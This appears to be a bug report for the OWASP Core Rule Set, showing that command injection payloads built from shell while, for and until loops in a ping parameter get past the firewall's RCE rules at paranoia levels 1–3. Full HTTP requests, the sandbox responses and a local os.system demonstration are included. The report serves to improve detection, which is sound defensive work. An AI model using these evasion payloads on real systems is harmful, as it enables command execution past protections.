Shell control structures might help evading RCE rules

Hi, to reproduce that false negative or evaison, i used burp with

GET /ping?ip=8.8.8.8;while+true;+do+ls;break;done HTTP/1.1
Host: sandbox.coreruleset.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:154.0) Gecko/20100101 Firefox/154.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
x-crs-version: latest
x-crs-paranoia-level: 3
x-format-output: txt-matched-rules-extended
Priority: u=0, i
Te: trailers
Connection: keep-alive

and then

HTTP/1.1 404 Not Found
Date: Tue, 08 Sep 2026 07:52:45 GMT
Content-Type: text/plain; charset=iso-8859-1
Connection: keep-alive
X-Unique-ID: ap--zcjOskoRZsf1I0c_5AAAAJg
x-backend: apache-latest
Content-Length: 167

This payload has been tested against the OWASP CRS web application firewall. 
The test was executed using the apache engine and CRS version latest.

No rules matched.

no rule at triggered from PL1 to PL3, PL4 just some unrelated rules like

HTTP/1.1 403 Forbidden
Date: Tue, 08 Sep 2026 07:52:42 GMT
Content-Type: text/plain; charset=iso-8859-1
Connection: keep-alive
X-Unique-ID: ap--yh-_yXiF8X8LC8Ia5wAAAMU
x-backend: apache-latest
Content-Length: 764

This payload has been tested against the OWASP CRS 
web application firewall. The test was executed using the apache engine and CRS version latest.

The payload is being detected by triggering the following rules:

920273 PL4 Invalid character in request (outside of very strict set)
942432 PL4 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (2)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 8)
980170 PL? Anomaly Scores: (Inbound Scores: blocking=8, detection=8, per_pl=0-0-0-8, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=3, XSS=0, RFI=0, LFI=0, RCE=0, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=8)


CRS therefore detects this payload starting with paranoia level 4.

not command injection specific just the strictness of PL4, and that works fully i tested in python and i see fully working

>>> os.system("ping -c 1 8.8.8.8;while true; do ls;break;done")
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=24.5 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 24.492/24.492/24.492/0.000 ms
 1.html	  1.svg			 _rels	 anydesk.desktop	       dirtyfrag		 firefox_firefox.desktop   important.txt       omranab0147.txt	 poc.json    slack.desktop   ssrf3.txt	 wazuh-install-files.tar   z
 1.rs	  4A			 a.sh	 attack-phishing-compaign.py   discord_discord.desktop	 ftpmail.txt		   ls		       out-1.ogv	 poc1.json   ssrf1.txt	     theme	 wazuh-install.sh
 1.sh	 '[Content_Types].xml'	 a.txt	 b			       fable-claims.html	 important-notes.txt	   nocybercrime.html   out.ogv		 reports     ssrf2.txt	     v		 welcome.msg
0
>>> 

Same for loops via

GET /ping?ip=8.8.8.8;for+item+in+alpha+a;do+ls+-R+/var/;break;done HTTP/1.1
Host: sandbox.coreruleset.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:154.0) Gecko/20100101 Firefox/154.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
x-crs-version: latest
x-crs-paranoia-level: 4
x-format-output: txt-matched-rules-extended
Priority: u=0, i
Te: trailers
Connection: keep-alive

and then

HTTP/1.1 403 Forbidden
Date: Tue, 08 Sep 2026 08:07:15 GMT
Content-Type: text/plain; charset=iso-8859-1
Connection: keep-alive
X-Unique-ID: ap_CMx-_yXiF8X8LC8Ia9gAAANU
x-backend: apache-latest
Content-Length: 764

This payload has been tested against the OWASP CRS 
web application firewall. The test was executed using the apache engine and CRS version latest.

The payload is being detected by triggering the following rules:

920273 PL4 Invalid character in request (outside of very strict set)
942432 PL4 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (2)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 8)
980170 PL? Anomaly Scores: (Inbound Scores: blocking=8, detection=8, per_pl=0-0-0-8, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=3, XSS=0, RFI=0, LFI=0, RCE=0, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=8)


CRS therefore detects this payload starting with paranoia level 4.

same as below for loops also evade RCE rules

it also with until

GET /ping?ip=8.8.8.8;until+false;do+ls;break;done HTTP/1.1
Host: sandbox.coreruleset.org
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:154.0) Gecko/20100101 Firefox/154.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
x-crs-version: latest
x-crs-paranoia-level: 4
x-format-output: txt-matched-rules-extended
Priority: u=0, i
Te: trailers
Connection: keep-alive

and then also undetected up to PL3

HTTP/1.1 403 Forbidden
Date: Tue, 08 Sep 2026 08:11:15 GMT
Content-Type: text/plain; charset=iso-8859-1
Connection: keep-alive
X-Unique-ID: ap_DIx-_yXiF8X8LC8Ia9wAAANY
x-backend: apache-latest
Content-Length: 764

This payload has been tested against the OWASP CRS 
web application firewall. The test was executed using the apache engine and CRS version latest.

The payload is being detected by triggering the following rules:

920273 PL4 Invalid character in request (outside of very strict set)
942432 PL4 Restricted SQL Character Anomaly Detection (args): # of special characters exceeded (2)
949110 PL? Inbound Anomaly Score Exceeded (Total Score: 8)
980170 PL? Anomaly Scores: (Inbound Scores: blocking=8, detection=8, per_pl=0-0-0-8, threshold=5) - (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - (SQLI=3, XSS=0, RFI=0, LFI=0, RCE=0, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=8)


CRS therefore detects this payload starting with paranoia level 4.

Start by reproducing the reported while, for, and until payloads against the sandbox at paranoia levels 1–4 and compare the matched-rule output. Review the existing RCE rule coverage for shell control structures; done means the intended payloads are detected without relying only on unrelated PL4 rules.